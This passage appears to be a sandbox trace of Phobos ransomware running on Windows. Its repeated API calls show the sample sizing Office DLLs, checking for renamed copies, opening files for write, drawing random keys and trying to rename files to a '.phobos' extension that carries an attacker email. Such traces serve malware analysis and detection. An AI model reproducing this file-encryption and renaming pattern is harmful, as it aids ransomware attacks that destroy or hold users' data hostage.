lpFileSize=0x3e9fc88*=18624) returned 1 [0151.640] CloseHandle (hObject=0x564) returned 1 [0151.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0151.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.645] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.649] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0151.649] CloseHandle (hObject=0x564) returned 1 [0151.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0151.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.756] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.758] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23232) returned 1 [0151.759] CloseHandle (hObject=0x564) returned 1 [0151.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0151.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.759] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.761] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24768) returned 1 [0151.762] CloseHandle (hObject=0x564) returned 1 [0151.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0151.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.762] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.763] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24768) returned 1 [0151.763] CloseHandle (hObject=0x564) returned 1 [0151.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0151.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.764] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.765] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21184) returned 1 [0151.765] CloseHandle (hObject=0x564) returned 1 [0151.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0151.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.765] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.766] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0151.766] CloseHandle (hObject=0x564) returned 1 [0151.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0151.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.767] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.768] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=259800) returned 1 [0151.768] CloseHandle (hObject=0x564) returned 1 [0151.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll")) returned 0x220 [0151.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.768] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.769] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1007320) returned 1 [0151.769] CloseHandle (hObject=0x564) returned 1 [0151.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll")) returned 0x220 [0151.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.770] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.770] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1832664) returned 1 [0151.771] CloseHandle (hObject=0x564) returned 1 [0151.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll")) returned 0x220 [0151.771] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.771] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll")) returned 0 [0151.771] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.796] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=545) returned 1 [0151.796] CloseHandle (hObject=0x564) returned 1 [0151.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 0x220 [0151.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.797] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.814] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=578264) returned 1 [0151.814] CloseHandle (hObject=0x564) returned 1 [0151.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0151.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.823] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.825] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=243520) returned 1 [0151.825] CloseHandle (hObject=0x564) returned 1 [0151.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220 [0151.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.829] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.833] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=96472) returned 1 [0151.833] CloseHandle (hObject=0x564) returned 1 [0151.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220 [0151.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.834] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.838] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=49368) returned 1 [0151.838] CloseHandle (hObject=0x564) returned 1 [0151.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220 [0151.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.844] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.855] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=73312) returned 1 [0151.855] CloseHandle (hObject=0x564) returned 1 [0151.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220 [0151.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.856] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.863] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=31328) returned 1 [0151.863] CloseHandle (hObject=0x564) returned 1 [0151.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 